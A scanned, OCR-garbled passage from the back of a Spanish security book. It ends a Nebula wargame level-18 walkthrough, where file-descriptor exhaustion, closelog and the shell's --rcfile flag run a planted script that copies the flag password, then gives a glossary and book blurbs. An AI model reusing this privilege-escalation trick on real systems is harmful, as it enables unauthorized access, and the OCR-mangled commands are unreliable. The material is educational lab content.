por  Jo  que  recibe  argv[0j  y  lo  utiliza  siempre  eomo  nombre  del  programa  actual.  Necesitamos  un 
descriptor  de  fichero  extra  dc  entre  todos  los  que  hemos  consumido,  ya  que  e!  error  nos  in  forma  de  su 
incapacidad  para  abrir  una  libreria.  La  solution  pasa  por  cerrar  el  descriptor  del  log  (antes  dc  llamar  a 
la  shell),  mediante  el  comando  cioseiog. 

level  18(1  nebula: /home/f lagl 8$  perl  -e  'print  "login  me\n"xl02l  .  "closelgg\nshefl \nT" 

|  . / flaglS  -d  /tmp/log 

./flaglS:  -d:  invalid  option 


Nuevamente  es  /tdn/sh  quien  no  acepta  la  opcion  -d  y  vuelca  por  pantalla  el  mode  de  uso  y  las 
opeiones  validas.  Buscando  entre  los  parametTos  que  se  le  pueden  proporcionar  a  la  shell,  nos 
encontramos  con  uno  realmenle  interesante:  —ref lie. 

He  aqui  la  descripcion  de  Linux: 


-efile  /jfe. 


Ejeeula  comandos  desde  file  en  vez  de  utilizar  el  archivo  de  inieializaeion  estandar 
-ffimhrc  si  la  shell  es  interactiva  (ver  INVOCATION  abajo). 


Un  nuevo  intento: 


level 18| nebula : /home/ f LaglS  $  perl  -e  'print  "login  me\n"x!021  .  "closelpg\nshell\n" 1 

I  ./flaglS  -refile  -d  /tmp/log 


Y  entre  los  errores  del  ,  /fiagis  original  contra  — rcfiie  encontramos: 

/tmp/log:  line  1:  Starting:  command  not  found 


starting  es  precisamente  la  primera  palabra  escrita  en  nuestro  archivo  de  log  /tmp/log.  Creamos 
pues  un  ejecutable  starting  en  /home/ level  1 8  que  lea  el  password  situado  en  /home/ fiagis: 

# I /bin/bash 

cat  /home/ f lag 1 8 /pas sword  >  /tmp/password 


Agregamos  el  directorio  /home/ level  is  a  path  y  ejecutamos  dc  nuevo  el  payload.  Tan  solo  queda 
leer  el  archivo: 


level 1 3 @ nebula : /home/ f lagl 8 3  cat  /tmp/password 
442261 13-d394-4f4 6-940 6-918 B8128e27a 


Glosario  de  ter  mines 


317 


Glosario  de  terminos 


O-day.  Se  considera  un  zero-day  o  ataque  de  dla  cero  a  aquel  exploit  que  aprovecha  de  forma  activa 
una  vulnerabilidad  critica  desconocida  tanto  por  el  publico  cotno  por  el  fabricante  de  la  aplicacion,  y 
que  por  lo  tanto  todavla  no  existe  una  solucion  (parche)  que  mitigue  el  problema. 

Administrador  Persona  encargada  del  mantenimiento  y  gestion  de  un  entomo  informatico, 
Generalmente  posee  privilegios  completos  sobre  el  sistema  operative  subyaeente. 

Agujero.  Ver  Bug, 

ASCII.  American  Standard  Code  for  Information  Interchange,  Estandar  atnericano  para  el  intercambio 
de  information  electron  ica,  El  codigo  ASCII  esta  formado  por  un  conjunto  de  vaJores  nimiericos  que 
utiliza  7  bits  para  representar  la  mayoria  de  !os  caracteres  y  codigos  de  control  mas  eomunes. 

Brute  force.  Busqueda  de  un  valor  concrete  mediante  la  comprobacion  de  todas  las  com binaci ones 
posibles. 

Bug.  Error  de  software  o  fallo  de  program  acibn  que  norma  Imente  causa  un  comportamiento  anomalo 
en  la  aplicacion,  prove  can  do  su  caida  u  otorgando  res  ul  lad  os  inesperados. 

Codigo  Fuente.  Conjunto  de  instrucciones  escritas  en  un  lenguaje  de  programacion  defmido  que 
poster! ormentc  sera  traducido  a  un  codigo  binario  que  el  procesador  debe  ejecutar. 

Cortafuegos.  Dispositive  de  protection  implementado  en  hardware  o  software  que  establece  un 
conjunto  de  reglas  para  el  flujo  de  traflco  entre  dos  redes,  flltrando,  bloqueando  o  permitiendo  el 
acceso  entre  ambas. 

CPU.  Ver  procesador. 

Exploit.  Artilugio  (de  software  o  no)  ideado  eon  la  finalidad  de  aprovechar  una  vulnerabilidad  en  un 
sistema  dado,  provocando  un  comportamiento  indeseado  y  destinado  a  comprometer  la  seguridad  del 
mismo. 

E-zine,  Re  vista  electron  ica  habitualmente  basada  en  contenidos  teen  i  cos. 

Firewall.  Ver  Cortafuegos. 

Fuerzu  Brut  a.  Ver  Brute  force, 

Hacker,  En  el  mundo  de  la  in  form  at  ica,  persona  apasionada  por  la  seguridad  y  el  funcionamiento 
interne  de  los  programas,  sistemas  operatives,  etc...  Para  mas  informacion  lease  detenidamente  t:El 
Tao  del  Hacker”. 

Ingenieria  in  versa.  Proceso  analitieo  cuyo  objetivo  es  determinar  las  caracteristicas  de  un  sistema, 
una  maquina,  un  producto  o  una  parte  de  un  componente  o  subsi sterna.  Aplicado  al  software,  busea 
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erear  una  abstraction  dc  codigo  comprensible  para  un  humano  a  parlir  de  un  archive  binario  del  cual 
no  se  posee  acceso  al  eodigo  fuente  original. 

Linux.  Cion  de  Unix  desarrollado  a  partir  de  las  ideas  presentadas  por  Minix.  El  termino  Linux  se 
refiere  al  nucleo  o  kernel  de  eodigo  abierto  ereado  por  Linus  Torvalds,  Se  conoee  como  GNU/Linux 
al  si  sterna  operativo  que  combina  el  kernel  de  Linux  con  las  lierramientas  del  proyecto  GNU  iniciado 
por  Richard  Stallman. 

Malware.  Termino  que  abarea  al  conjunto  de  software  malicioso  instalado  en  un  si  sterna  operativo  y 
que  realiza  acciones  ocultas  sin  el  consentimiento  del  usuario.  Virus,  gusanos,  rootkits,  troyanos, 
scareware,  spyware,  crimeware,  adware  y  demas,  son  todos  ellos  fieles  representantes  de  malware 
moderno. 

Owned.  Termino  utilizado  para  referirse  a  un  sistema  que  ha  sido  comprometido  y  en  el  cual  un 
atacante  ha  conseguido  los  pemiisos  del  usuario  root. 

Password,  Comrasena,  clave  o  palabra  de  peso  ideada  como  forma  de  autentifi cation  que  utiliza 
information  secreta  para  controlar  el  acceso  a  un  recurso  especifico, 

Procesador.  Circuito  integrado  conformado  por  millones  de  componentes  eleetronicos,  encargado  de 
ejeeutar  las  intrucciones  definidas  por  un  programa  una  vez  que  estas  han  sido  traducidas  a  eodigo 
binario  o  eodigo  maquina.  Conectado  al  zoealo  de  la  placa  base  de  un  ordenador,  constituye  el  cerebro 
y  componente  basico  de  un  sistema  informatico. 

Pwned.  Ver  owned. 

Root.  Usuario  con  mayores  privilegios  en  un  sistema  operativo  de  tipo  Unix.  El  termino  tambien  se 
utiliza  para  referir  las  capacidades  de  un  administrador. 

Script.  Asoctado  normalmente  al  eodigo  fuente  de  una  aplicacion  escrita  en  algun  lenguaje  de 
programacion  interpretado  que  no  preeisa  de  un  software  de  compilation  para  su  ejecueion. 

Shell.  Interprete  de  comandos  a  trav^s  del  cual  un  usuario  puede  comunicarse  con  cl  sistema  operativo 
utilizando  ordenes  o  secuencias  eseritas. 

Shelkode.  Conjunto  de  instrucciones  normalmente  programadas  en  lenguaje  ensamblador  y 
re  presentadas  en  forma  de  opcodes  (valores  hexadecimal  es)s  que  se  inyectan  en  el  espaeio  de 
direcciones  de  un  proceso  y  que  seran  procesadas  si  un  atacante  logra  redirigir  el  flujo  de  ejecueion. 

Unix.  Sistema  operativo  portable,  multitarea  y  multi  usuario  desarrollado  en  1969  en  los  laboratorios 
Bell  de  AT&T. 

Virus.  Pieza  de  software  dirigida  hacia  una  pi ata forma,  que  posee  la  capacidad  de  reemplazar  o 
agregarse  aotros  ficheros  ejecu  tables  provocando  habitualmente  acciones  maliciosas. 

Vulnerabilidad  Clase  panieular  de  bug  que,  asociado  a  una  debilidad,  puede  ser  aprovechado  por  un 
atacante  para  compromeler  la  seguridad,  integridad,  disponibilidad  y  confidencialidad  de  un  sistema. 
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Eslos  libros  pueden  ser  obtenidos  desde  la  web :  http :  //www .  0xWORO  .  com 


Conocer  que  ha  pasado  en  un  sistema  puede  ser  una  pregunta  de 
obligada respuesta  en  multiples  situaciones,  Un  ordenador  del  que  se 
sospecha  que  alguien  esta  teniendo  acceso  porque  se  esta 
discminando  informacidn  quo  solo  esta  almacenada  en  el,  un 
empleado  que  sospeeha  que  alguien  esta  leycndole  sus  eorreos 
personates  o  una  organization  que  eree  estar  siendo  espiada  por  la 
competencia  son  situac tones  mas  comunes  cada  dia  en  este  mundo  en 
el  que  en  los  ordenadores  marcan  el  camino  a  las  empresas. 
bn  este  libro  se  describen  los  procesos  para  realizar  la  cap  turn  de 
evidencias  en  sistemas  Windows  *  desde  la  eaptura  de  los  dates 
almacenados  en  las  unidades  fisicas,  hasta  la  extract  ion  de  evidencias 
de  dementos  mas  volatiles  corno  ficheros  borrados,  archivos 
impresos  o  datos  que  se  cncuentran  en  la  memoria  RAM  de  un 
si  sterna,  Todo  ello,  acompahado  de  las  herrarnientas  que  pueden  ser 
utilizadas  para  que  un  tccnico  pueda  crearse  su  propio  kit  de 
herrarnientas  de  analists  forense  que  le  ayude  a  llevar  a  buen  termino 
sus  investigaciones 


El  final  del  aho  2007  trajo  consigo  la  neeesidad  de  reach var  las 
iniciativas  de  aplicacion  de  la  normativa  vigente  en  materia  de 
protection  de  datos  de  caraeter  personal,  Desde  entonces  la 
actual  izae  ion  de  los  proyeetos  en  curso  y  la  puesta  en  march  a  de  otros 
nuevos  ban  constituido  una  prioridad  para  numerosas  empresas  en  d 
Estado  espartol.  Sin  embargo  la  aplicacion  de  la  legislacion  vigente 
no  esta  siendo  ni  tan  genera  lizada  ni  tan  rigurosa  eomo  se  esperaba. 
La  lectura  y  consul  ta  de  este  libro  permitird  a  I  lector  ale  jar  much  os 
de  los  "miedos”  y  dudas  que  ahora  le  asaltan  respecto  de  la  LOPD  y 
su  nuevo  reglamento,  impidiendo  en  rnuehas  ocasiones  que  empresas 
y  organizaciones  se  encuentren  en  un  situacion  legal 
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Microsoft  Forefront  Threat  Management  Gateway  [TMG]  2010  es  la 
ultima  evolucion  de  las  tecnologias  Firewalk  Servidor  VPN  y 
servidor  Cache  de  la  compafiia  Redmond.  De  spues  de  haber 
convene!  do  a  muchos  con  I  os  resultados  de  MS  ISA  Server  2006 ,  esta 
nueva  evolucion  mejora  cn  funcionamiento  y  en  caracteristicas  la 
version  anterior. 

En  este  primer  librn  en  caste  llano  dedieado  mtegramente  a  este 
producto  podra  aprender  como  instalarlo,  como  configurarlo  en  la 
cmpresa  en  configuraeiones  stand  alone  y  en  cluster  NLBy  como 
configurar  las  reglas  de  seguridad,  los  servicios  N1S  quc  haccn  uso 
de  la  tecnologia  GAPA  o  el  servicio  de  proteccion  continua  de  MS 
Forefront  Web  Protection  Service,  entre  otras  muchas  opciones. 


Microsoft  Share  Point  2010:  Seguridad  es  un  libro  pensado  para 
aquellos  responsables  de  sistemas  o  seguridad,  Arquitectos  IT, 
Administmdores  o  teenicos  que  deseen  conocer  como  fortificar  una 
arquitectura  Share  Point  Server  2010  o  Share  Point  Foundation  2010. 
El  libro  recoge  desde  los  apartados  dc  fort  ificac  ion  ini  dales,  como  la 
configuracion  de  los  sistemas  de  autenticacion  y  autorizacion,  la 
gestion  de  la  auditors  a,  la  crcacion  dc  planes  de  conti  n  gene  i  a,  la  copia 
y  restauraeibn  de  dates,  la  publicacion  de  forma  segura  en  Internet  y 
la  teen  ic  as  de  pentesting  y/o  ataques  a  servidores  SharePo'mt .  Un 
libro  imprescindible  si  tiene  a  cargo  una  solucion  basada  en  estas 
tecnologias. 

Ruben  Alonso  ha  sido  premiado  por  Microsoft  como  MVP  en 
tecnologias  Share  Point. 


El  DNI  electronico  esta  entre  nosotros,  desde  hace  bastante  tiempo 
pero,  desgraciadamente,  el  uso  del  mis  mo  en  su  faceta  electronica  no 
ha  despegado,  Todavia  son  pocas  las  empresas  y  los  particulates  que 
sacan  provecho  de  las  funcionalidades  que  ofrece.  En  este  libro 
Raines  SarwaL  de  la  empresa  Smart  Access  y  desgrana  los 
fimdamentos  tecnologicos  que  esian  tras  el,  y  muestra  como  utilizar 
el  DNl-e  en  entornos  profesionales  y  particulares.  Desde  autcnticarse 
en  los  sistemas  in  form  dti  cos  de  una  empresa*  has  la  desarrollar 
apltcaciones  que  saquen  partido  del  DNI-e. 

Romes  Sarwat  cs  ticenciado  en  Informatica  por  la  Universidad 
Politecnica  de  Madrid  y  socio  fiindador  y  director  de 
SmartAccess.  Anteriormentc  ejercio  como  Director  dc  Consul  tori  a  cn 
Microsoft . 
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Anuario  ilustrado  de  seguridad  informatics,  anecdotas  y  entrevistas 
exclusivas...  Casi  todo  io  que  ha  ocinrido  en  seguridad  en  los  ultimos 
dace  aiias,  esta  dentro  de  “Una  al  dia:  12  anos  de  seguridad 
informal  ica  A 

Para  celebrar  los  docc  anos  ininterrumpidos  del  boletin  Una  al  dia , 
hemos  realizado  un  record  do  por  toda  una  decada  de  virus, 
vulnerabilidades,  traudes,  alertas,  y  reflexiones  sobre  la  seguridad  en 
Internet.  Dcsdc  una  perspectiva  amena  y  entretenida  y  can  un  disefio 
sencillo  y  di recto.  Los  12  anas  de  Una  al  dia  sirven  de  excusa  para 
un  libro  que  esta  compuesto  por  material  nuevo,  revisado  y  redactado 
desde  la  perspectiva  del  ticmpo,  Adcmas  de  las  entrevistas  exclusivas 
y  las  anecdotas  propias  de  Hispasec, 


La  informacion  es  clave  en  la  preparation  de  un  test  de  penetracion. 
Sin  el  la  no  es  posibte  determ  inar  que  atacar  ni  corao  haeerlo.  Y  los 
buscadores  se  ban  convert  ido  en  herramientas  fundamental  es  para  la 
mineria  de  datos  y  las  proeesos  de  intcligencia.  Sin  embargo,  pese  a 
que  las  tecnieas  de  Google  Hacking  lleven  ados  siendo  utilizadas, 
quizd  no  hay  an  sido  sicmprc  bien  tratadas  ni  transmitidas  al  publico. 
Limitarse  a  emplear  Google  Dorks  conocidos  o  a  usar  berramientas 
que  automaticen  esla  tarea  es,  con  respecto  al  use  de  los  buscadores, 
Io  mismo  que  usar  una  herramienta  eomo  Ness  us,  o  quiza  el  autapwn 
de  Metasploit,  y  pensar  que  se  esta  realizando  un  test  de  penetracion. 
Por  supucsto,  estas  henamientas  son  utiles,  pero  se  debe  ir  mas  alia, 
comprender  los  problem  as  encon  trades,  ser  cap  aces  de  detecta  r  otros 
nuevos,..  y  combinar  berramientas. 


En  este  libro  podra  ver  y  conocer,  desde  la  experiencia  profesional  en 
el  mundo  del  e-crime,  c6mo  se  organ izan  las  estafas,  que 
berramientas  se  util  izan  y  cuales  son  los  me  can  ism  os  existentes  para 
conseguir  Iransformar  en  dinero  contante,  el  capital  robado 
digitalmente  a  traves  de  Internet.  Un  texto  imprescindible  para 
eonocer  a  lo  que  todos  nos  enfrentamos  en  Internet  hoy  en  dia  v  asi 
potter  tomar  las  medidas  dc  seguridad  apropiadas. 

Demi  Creus  y  Mikel  Gastesi  form  an  parte  de  un  equipo 
multi  disciplinar  de  reconocidos  especial  istas  en  e-crime  y  seguridad 
en  S2Isec.  Entre  sus  fund  ones  destaean  las  tare  as  de  ana  li  sis  e 
investigacidn  de  temas  relacionados  con  la  seguridad  y  fraudes 
eleetronicos. 
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MAxima  Seguridad  en  Window  si 
Secretos  Teen  i  cos 

3J  Fdlrian  fen*iu<f9i  y  JwrtpIMWIA 
*H±rqla  AH  Sntitcu 


Combat*  toi  c|¥4A*Hti  4*  hot}  cn  ^'wid4JW£ 


Hoy  en  dia  no  sufrimos  las  mismas  amenazas  (ni  en  cantidad  ni  en 
call  dad)  que  hace  algunos  an  os.  Y  no  sabemos  cualcs  scran  los  retos 
del  manana.  Hoy  cl  problema  mas  grave  es  mitigar  el  impacto 
cau sad o  por  las  vulnerabilidades  en  el  software  y  la  complejidad  de 
los  programas.  Y  eso  no  se  consigue  con  una  guia  “tradidonal”.  Y 
mucho  menos  si  se  perpetuan  las  recomend  ad  ones  “de  Loda  la  vidav 
como  “cortafuegos,,?  “antivirus”  y  “sentido  comun’1.  (\Acaso  no 
disponemos  de  olras  annas  mucho  mas  potentes?  No.  Disponemos  de 
las  herramientas  *  Trad  id  on  ales”  muy  mejuradas,  cierto,  perotarnbien 
de  otras  tecnologias  avanzadas  para  mitigar  las  amenazas.  El 
problema  es  que  no  son  tan  conoddas  ni  simples.  Por  tanto  es 
nccesario  leer  el  manual  de  instrucciones,  entenderias...  y 
aprovech  arias*.. 


Hacking  y  $eq uridad 
en  cornu  nicac  tones  movifes 
GSM/GPRS/  UMTS/LTE 

lo^f  Pit*  dote i« 

David  Per«  Candr 


Mas  de  3.000  millones  de  usuarios  en  mas  de  200  paises  uttlizamos 
diariamente  las  comimicaciones  mbviles  GSM/GPRS/UMTS 
(2G/3G)  para  ilevar  a  cabo  conversaciones  y  transferences  de  dates, 
Pcro,  £son  seguras  estas  com  unieaci  ones?  En  los  uitimos  an  os  se  han 
hecho  pLiblicos  multiples  vulnerabilidades  y  ejemplos  de  ataques 
practicos  contra  GS  M/GPRS  /UMTS  que  han  puesto  en  cvidcncia  que 
no  podemos  simplemente  con  bar  en  su  seguridad,* 

Descubra  en  estc  libro  cuales  son  las  vulnerabilidades  y  los  ataques 
contra  GSM /GPRS/UMTS  (2G/3C)  y  el  estado  respecto  a  la  nueva 
tccnologia  LTE,  comprenda  las  tccnicas  y  conocimientos  que 
subyacen  tras  csos  ataques  y  conozca  que  puede  hacer  para  proteger 
sus  comunicaciones  mbviles* 


La  Administradon  Espanola  lidera  un  encomiable  esfuerzo  hacia  el 
Desarrollo  de  la  Sociedad  de  la  Informacion  en  Espafta,  asi  como  en 
el  uso  optimo  de  las  tecnologias  de  la  Informacion  en  pro  de  una 
prestaeion  de  scrvicios  mas  eficiente  hacia  los  ciudadanos.  Aunque 
cste  tipo  de  content  dos  no  siempre  son  faciles  dc  tratar  sin  caer  en  un 
excesivo  dogmatismo,  si  cs  cierto  que  en  el  marco  de  la  Ley  1 1  /2007 
del  22  de  Junto,  de  acceso  electronico  de  los  ciudadanos  a  los 
Scrvicios  Publicos,  se  anuncio  la  ereaeion  dc  los  Esquemas 
Nacionales  de  Interoperabilidad  y  de  Seguridad  con  la  mision  dc 
gar  anti  zar  un  derecho  ciudad  ano,  to  que  sin  duda  es  un  reto  y  una 
responsabilidad  de  pritnera  magnitud*  Estc  manual  sirve  para  facilitar 
a  los  respon sables  de  seguridad  el  cumplimiento  de  los  aspeetos 
tecnologicos  derivados  del  cumplimiento  del  ENS. 
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No  es  de  extranar  que  Los  programas  contengan  (altos,  crrores,  quen 
bajo  determ  inadas  circunstancias  los  liagan  fund  on  ar  tie  forma 
extrafia,  Que  los  conviertan  en  algo  para  lo  que  no  estaban  disenados. 
Aqui  es  donde  entran  en  juego  Jos  posihles  atacantes.  Pentesters, 
auditorev..  y  ciberdelincuentes,  Para  la  organizacion,  mejor  que  sea 
uno  de  los  primeros  que  uno  de  Los  ultimos.  Pcro  para  ]a  aplicacion, 
q  ue  no  entra  en  valorar  intcneiones,  no  hay  diferencia  entre  el  los. 
Simplemcntc,  son  usuarios  que  hablan  un  extraflo  idioma  en  que  los 
errores  se  denominan  “vulnerabilidades",  y  una  aplicacion 
defectuosa  puede  terminar  convirtiendose,  por  ejemplo,  en  una 
interfaz  de  usuario  que  le  permita  intcractuar  directamentc  eon  la 
base  de  dates.  Y  has  (.a  con  un  unico  error. 


Las  redes  de  datos  IP  haee  mucho  tiempo  que  gobieman  nuestras 
sociedades.  Empresas,  gobiemos  y  sistemas  de  interaction  social  se 
basan  en  redes  TCP/IP,  Sin  embargo,  estas  redes  tienen 
vulnerabilidades  que  pueden  ser  aprovechadas  por  un  alacante  para 
robar  eontrasehas,  eapiurar  con versaci ones  de  voz,  mensajes  de 
eorreo  electtonieo  o  informacidn  transmitida  desde  servidores.  En 
cste  libro  se  analizan  como  funcionan  los  ataques  de  man  in  the 
middle  en  redes  IPv4  o  IPv6,  como  por  medio  dc  estos  ataques  se 
puede  crack  car  una  con  exion  VPN  PPTP,  robar  la  eon  ex  ion  de  un 
usuario  al  Active  Directory*  o  como  suplantar  identificadores  en 
aplicaciones  para  conseguir  perpetrar  una  intrusion  ademas  del 
ataque  SLAAC,  el  funcionamiento  de  las  teen  ic as  A RP-Spoafing, 
Neighbor  Spoofing  en  IPv6,  etcetera. 


Desarrollo  de  aplicaciones  iOS 
para  iPhone  &  rPad:  Essentials 

>J'3n  AffUriyu  SiftLhfc.1 
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Hoy  dia  es  innegable  el  im parable  crccimiento  que  han  ten i do  las 
tecnologias  de  los  dispositivos  moviles  en  los  ultimos  anos.  El 
numero  de  smartphones,  tablets,  etcetera,  han  aumeniado  de  manera 
exponencial.  Esto  ha  stdo  asi,  hasta  lal  punto  que  actualmente  estos 
dispositivos  sc  han  posi  cion  ado  como  tecnologias  de  maxima 
prioridad  para  muchas  empresas. 

Coil  este  libro  se  pueden  adquirir  los  cottocimientos  neeesarios  para 
desarrollar  aplicaciones  en  iOS,  guiando  a  I  lector  para  que  aprenda  a 
utilizar  las  h errand entus  y  tecnicas  basicas  para  inieiarse  en  el  mundo 
iOS.  Se  pretendc  sentar  unas  bases,  de  manera  que  al  fmalizar  la 
lectura,  el  lector  pueda  eonveitirse  en  desarrollador  iOS  y  enfrentarse 
a  proyeetos  de  este  si  stem  a  operative  por  si  mismo. 
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Hoy  en  dia  la  administracion  de  los  sistcmas  es  de  vital  importancia 
en  toda  empresa  moderna.  PowerShell  ofrece  al  adm  in  is trador  la 
posibilidad  dc  automatizar  las  tareas  cotidianas  proporcionando  un 
potente  lenguaje  de  scripting.  El  libro  esta  cstructurado  en  dislintas 
tematicas,  que  ofrecen  a  I  lector  una  introduce  ion  a  la  interace  ion  con 
la  potente  linea  de  comandos  de  Microsoft ,  las  bases  y  pi  lares  para  el 
desarrollo  dc  potentes  scripts  seguros,  y  la  gestion  de  productos  de 
Microsoft  desde  PowerShell,  conio  son  Hyper-  Active  Directory, 
Share  Point,  SQL  Server  o  IIS.  Otro  dc  los  aspectos  a  tratar  cs  la 
seguridad.  El  enfoque  practico  del  libro  ayuda  al  administrador,  a 
entender  los  dislintos  y  variados  conceptos  que  ofrece  PowerShell 


Microsoft  Windows  Server  2012  ha  11  egad o  con  novedades  cuyo 
ohjetivo  es  simpliflcar  las,  cada  vez  mas,  complejas  tareas  de  los 
administradores  y  profesionales  IT.  En  el  presente  libro  se  recogen  la 
gran  mayoria  de  dichas  novedades  entre  las  que  dcstacan  la  version 
3.0  dc  Ilyper-V,  d  servtdor  de  virtualizacion  de  Microsoft,  el 
almacenamiento  con  su  nuevo  si  sterna  dc  archives  y  sus  propiedades, 
las  mejoras  y  nuevas  caracteristicas  de  Active  Directory,  DNS  y 
DHCP,  las  novedosas  formulas  de  despliegue  eficiente.  la  ampliation 
y  mejora  de  la  linea  de  comandos  Microsoft  Windows  PowerShell \  y 
como  no,  la  seguridad,  un  pilar  basico  en  la  estructura  de  los 
productos  Microsoft  La  idea  del  libro  es  presentar  las  novedades  y 
ahondaren  los  conceptos  pri  lie  i  pales. 


Metasploit 

pat*  Pfl-rttestere 

2'  Hdlthm 


La  seguridad  de  la  informacion  es  uno  de  los  mere  ad  os  en  auge  en  la 
Inform&tica  hoy  en  dia.  Los  gobiernos  y  empresas  vatoran  sus  aetivos 
por  lo  que  deben  protegerlos  de  accesos  iheitos  raediantc  el  uso  de 
auditorias  que  proporcionen  un  status  de  seguridad  a  nivel 
organ  izati  vo.  El  pen  testing  forma  parte  de  las  auditorias  de  seguridad 
y  proporciona  un  conjunto  de  pruebas  que  valoren  el  estado  de  la 
seguridad  de  la  organizacion  en  eiertas  rases.  Metasploit  es  una  de  las 
herramientas  mas  utilizadas  en  procesos  de  pentesting  ya  que 
eontempla  distintas  fases  de  un  reside  intrusion.  Con  el  presente  libro 
se  pretende  obtener  una  vision  global  de  las  fases  en  las  que 
Metasploit  puede  ofrecer  su  pot  end  a  y  flexibilidad  al  servicio  del 
hacking  elico. 
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^Sabias  que  Steve  Jobs  le  llevo  en  persona  un  ordenador  Macintosh 
a  Yoko  Ono  y  tambien  a  Mick  dagger?  que  Jay  Miner,  cl  genio 
que  ere  6  el  Amiga  1 000  tenia  una  perrita  que  tom  aba  parte  en  a  1  gun  as 
de  las  decisiones  de  disefio  de  este  ordenador?  (;0  que  Xenix  fue  el 
si  sterna  Unix  mas  usado  en  los  80s  en  orden  adores  y  que  era 
propie  dad  de  Microsoft! 

Estas  son  solo  algunas  de  las  historian  y  anecdotas  que  encontrards 
en  este  libro  de  Microhistorias.  Una  parte  importante  de  las  cuales 
tienen  como  protagonista  a  los  miembros  de  Microsoft  y  de  Apple. 
50  his  tori  as  de  hackers,  phreaker.st  program  adores  y  disenadofes 
cuya  constancia  y  sabiduria  nos  sirven  de  inspiracion  v  de  ejemplo 
para  nuestros  proyectos  de  hoy  en  dia. 


Angel  Rios,  auditor  de  una  empresa  puntera  en  el  sector  de  la 
seguridad  informatica  se  prepara  para  acudir  a  una  cita  con  Yolanda, 
antigua  compare  era  de  elase  de  la  que  siempre  ha  estado  enamor  ado. 
Sin  embargo,  ctla  no  csta  intcresada  cn  iniciar  una  relacion;  solo 
quiere  que  le  ayude  a  descifrar  un  misterioso  archive,  Angel  se  ve 
envuelto  en  una  intriga  que  complicara  su  vida  y  lo  expondra  a  un 
grave  petigro,  Unicamente  contara  con  sus  conocimientos  de  hacking 
y  el  apoyo  de  su  amigo  Marcos, 

Mezela  de  novela  negra  y  manual  tecnico,  este  libro  aspira  a 
entretener  e  mformar  a  partes  iguales  sobre  un  mundo  tan  apasionante 
como  es  el  de  la  seguridad  informatica.  Tecnicas  de  hacking  web , 
si  stem  as  y  analisis  forense,  son  atgunos  de  los  tern  as  que  se  tratan 
con  total  rigor  v  excelentemente  documentados. 


La  evolution  de  VoIP  ha  side  considerable,  siendo  hoy  dia  una 
altemativa  muy  utilizada  como  solucion  unica  de  telefoma  en 
muchlsimas  empresas,  Gracias  a  ia  expansion  de  Internet  y  a  las  redes 
de  alta  vdocidad,  llcgara  un  momenta  en  el  que  las  lineas  tele  tonic  as 
con  ven  cion  ales  sean  total  men  te  sustituidas  por  si  stem  as  de  VoIP, 
dado  el  ahorro  economico  no  solo  en  Ilamadas  sino  tambien  en 
infracstructura. 

El  gran  problema  es  la  falta  de  concienciacion  en  seguridad.  Las 
empresas  aprenden  de  los  errores  a  base  de  pagar  elevadas  laeturas  y 
a  causa  de  sufrir  intrusiones  en  sus  sistemas. 

Este  libro  muestra  como  haccr  un  test  dc  penetration  en  un  sistema 
de  VoIP  asi  como  las  herramientas  mds  utilizadas  para  atacarlo, 
repasando  ademas  los  fallos  de  configuration  mas  comunes. 


m 
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Wardog  y  el  rtiundo 
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^Has  pensado  alguna  vez  por  que  cono  cl  informal;  ico  tiene  siempre 
esa  cara  de  orco?  ()Por  qub  siempre  estd  enfadado?  ^FPor  que  no  se 
relaciona  con  la  gente  de  la  oficina? 

Yo  te  lo  digo:  por  tu  culpa,  Por  vuestra  culpa.  Por  las  burradas  que 
haceis.  Porque  no  os  podeis  estar  quietecitos,  no...  Porque  os  creels 
que  el  informatico  tiene  la  solucion  para  todo, 

Pasa,  pasa:  y  enterate  de  que  pasa  por  la  cabeza  de  Wardog,  un 
admin istra dor  de  sistemas  renegado,  con  afan  de  venganza,  con 
maldad  y  con  mala  host!  a. 

Wardog  y  el  nnmdo  es  el  producto  de  afios  de  exposiddn  a  lasers 
dotados  de  estupidez  toxica,  dc  mala  baba  destilada  y  aeidez  de 
estomago.  Y  cafd  en  cantidades  malsanas. 


Desarrollo  de  apHcaciones 
Android  seguras 


AcLualmente,  el  mundo  dc  las  aplicaciones  moviles  es  uno  de  los 
sec  to  res  que  mds  dinero  mueve  en  cl  mere  ado  de  la  informatica. 
Tcner  conod  mi  entos  de  programacion  en  estas  plataformas  mdviles 
es  ana  garantia  para  poder  encontrar  empleo  a  dia  de  lioy. 
“Desarrollo  de  aplicaciones  Android  seguras”  pretends  inculcar  al 
lector  una  base  sblida  de  conocimientos  sobre  programacion  en  la 
plataforma  movil  con  mayor  cnota  de  mere  ado  del  mundo:  Android . 
Mediante  un  enfoque  eminentemente  practico,  el  libro  guiara  al  lector 
en  el  desarroilo  de  las  fuucionalidades  mas  demand  ad  as  a  la  hora  de 
desarrollar  una  aplieacion  movil.  Ademas  sc  pretende  educar  al 
program ador  c  introducirle  en  la  utilization  de  tecnicas  de  diseno  que 
rnodeleti  aplicaciones  seguras,  en  la  parte  dc  almaccnamiento  dc 
dates  y  en  la  parte  dc  cornu nicaci ones. 


Crfrado  de  las  com umc aci ones  dig  i  tales. 
Do  la  cif>*  ell  sica  a  I  algontmo  RSA 


Este  libro  se  dediea  especial mente  a  dos  paradigmas  de  la 
criptografia:  la  elasica  y  RSA.  Am  bos  los  trata  a  Ton  do  con  el  animo 
de  convertirse  en  uno  de  los  documentos  mas  completes  en  esta 
tcmatica,  Para  conseguir  este  trabajo  el  texto  presentado  toma  como 
referenda  trabajo  previo  dc  los  autorcs,  complementandolo  y 
orientandolo  para  hacer  su  lectura  mas  asequible. 

El  tdcnico  o  expeito  en  seguridad  tendra  especial  interes  por  el 
sistema  RSA,  aunque  Ic  venga  muy  bien  recordar  sus  initios  en  la 
criptografia  como  texto  de  amena  lectura  ys  por  su  parte,  cl  lector  no 
experto  en  cstos  temas  criptologicos  pero  si  mteresado,  seguramente 
le  atraiga  inicialmente  la  criptografia  cl  as  tea  por  su  sencillez  y 
sentido  histonco. 
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Hardening  de  servidores  GNU  /Linux 


»Acc®$*  Dented 
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Este  libro  trata  sobre  la  securizaci6n  de  en tamos  Linux  siguiendo  el 
modelo  de  Defensa  en  Profundidad.  Es  deeir,  diferenciando  la 
infraestructura  en  diferentes  capas  que  deberan  ser  configuradas  de 
forma  adecuada,  teniendo  como  principal  objetivo  la  seguridad 
global  que  propore  i  on  aran,  Durante  el  transeurso  de  esta  lectura  se 
ofrecen  bases  teoricas,  ejemplos  de  configuracido  y  funcionamiento, 
ademas  de  buenas  practicas  para  tratar  de  mantener  un  entomo  io  mas 
seguro  posible*  Sin  dud  a,  los  entomos  basados  en  Linux  ofrecen  una 
